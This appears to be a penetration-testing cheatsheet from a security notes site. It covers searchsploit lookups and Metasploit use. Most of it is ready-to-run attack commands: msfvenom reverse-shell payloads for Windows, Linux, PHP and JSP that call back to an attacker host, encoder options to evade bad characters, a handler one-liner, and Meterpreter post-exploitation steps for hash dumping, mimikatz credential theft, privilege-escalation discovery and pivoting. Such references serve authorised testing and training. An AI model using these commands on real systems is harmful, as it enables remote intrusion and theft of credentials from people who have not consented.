// notes/ Cheatsheets & Payloads
🧨

Exploitation & Payloads — Cheatsheet

searchsploit, msfvenom formats, and core Metasploit/handler workflow.

#exploitation#msfvenom#metasploit#searchsploit

Exploitation & Payloads — Cheatsheet

Find exploits

Search ExploitDB locally for a product/version.

🐺 howlsec@kali
$searchsploit <product> <version>

Copy an exploit into the current directory.

🐺 howlsec@kali
$searchsploit -m <edb-id>

Read an exploit's source/notes.

🐺 howlsec@kali
$searchsploit -x <edb-id>

msfvenom formats

Windows reverse-shell EXE.

🐺 howlsec@kali
$msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o s.exe

Linux reverse-shell ELF.

🐺 howlsec@kali
$msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f elf -o s.elf

PHP reverse shell (drop on a web target).

🐺 howlsec@kali
$msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -f raw -o s.php

JSP reverse shell (Tomcat / Java apps).

🐺 howlsec@kali
$msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f raw -o s.jsp

Windows Meterpreter EXE for the full toolkit.

🐺 howlsec@kali
$msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o m.exe

Encode a payload and strip bad characters.

🐺 howlsec@kali
$msfvenom -p ... -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f c

Metasploit handler

Start a one-liner handler to catch your Meterpreter session.

🐺 howlsec@kali
$msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set LHOST $LHOST; set LPORT 4444; run"

Meterpreter basics

Confirm who and where you are on the box.

🐺 howlsec@kali
01getuid; sysinfo; getprivs

Background the session and list/interact with sessions.

🐺 howlsec@kali
01background; sessions -i 1

Suggest local privilege-escalation exploits automatically.

🐺 howlsec@kali
01run post/multi/recon/local_exploit_suggester

Dump hashes and load the Kiwi (mimikatz) extension.

🐺 howlsec@kali
01hashdump; load kiwi; creds_all

Pivot: forward a target-internal port to your box.

🐺 howlsec@kali
01portfwd add -l 3389 -p 3389 -r 172.16.1.5